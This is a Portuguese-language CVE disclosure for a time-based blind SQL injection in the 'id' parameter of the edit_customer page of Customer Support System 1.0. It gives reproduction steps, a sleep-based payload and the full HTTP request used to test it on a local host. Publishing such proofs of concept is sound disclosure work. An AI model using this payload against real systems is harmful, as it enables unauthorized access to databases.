CVE-2023-49969

Sistema de Suporte ao Cliente 1.0 - Vulnerabilidade de Injeção SQL em edit_customer via o parâmetro de URL "id"

Descrição: Existe uma vulnerabilidade de Injeção SQL na versão 1 do Sistema de Suporte ao Cliente. Um atacante com intenções maliciosas pode executar comandos SQL no banco de dados MySQL manipulando o parâmetro de URL 'id' ao editar um cliente.

Versão do Produto Vulnerável: Customer Support System 1.0
Autor do CVE: Geraldo Alcântara
Data: 28/11/2023
Confirmado em: 19/12/2023
CVE: CVE-2023-49969
Testado em: Windows

Passos para reproduzir:

1- Faça login no aplicativo. 2- Navegue até a página customer_list, clique no botão "Action" e selecione "Edit". 3- O parâmetro 'id' será passado, permitindo a inserção de um payload malicioso. payload: (select*from(select(sleep(5)))a)

Requisição

GET /customer_support/index.php?page=edit_customer&id=(select*from(select(sleep(5)))a HTTP/1.1
Host: 192.168.68.182
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://192.168.68.182/customer_support/index.php?page=customer_list
Cookie: PHPSESSID=arlocktakq815fq1lpm5fjml9n
Upgrade-Insecure-Requests: 1